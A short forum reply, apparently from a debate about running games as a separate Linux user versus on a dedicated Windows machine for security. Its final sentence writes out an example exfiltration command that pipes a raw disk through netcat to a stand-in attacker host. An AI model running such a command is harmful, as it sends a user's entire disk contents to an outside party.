> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges.

Reminds me of https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.
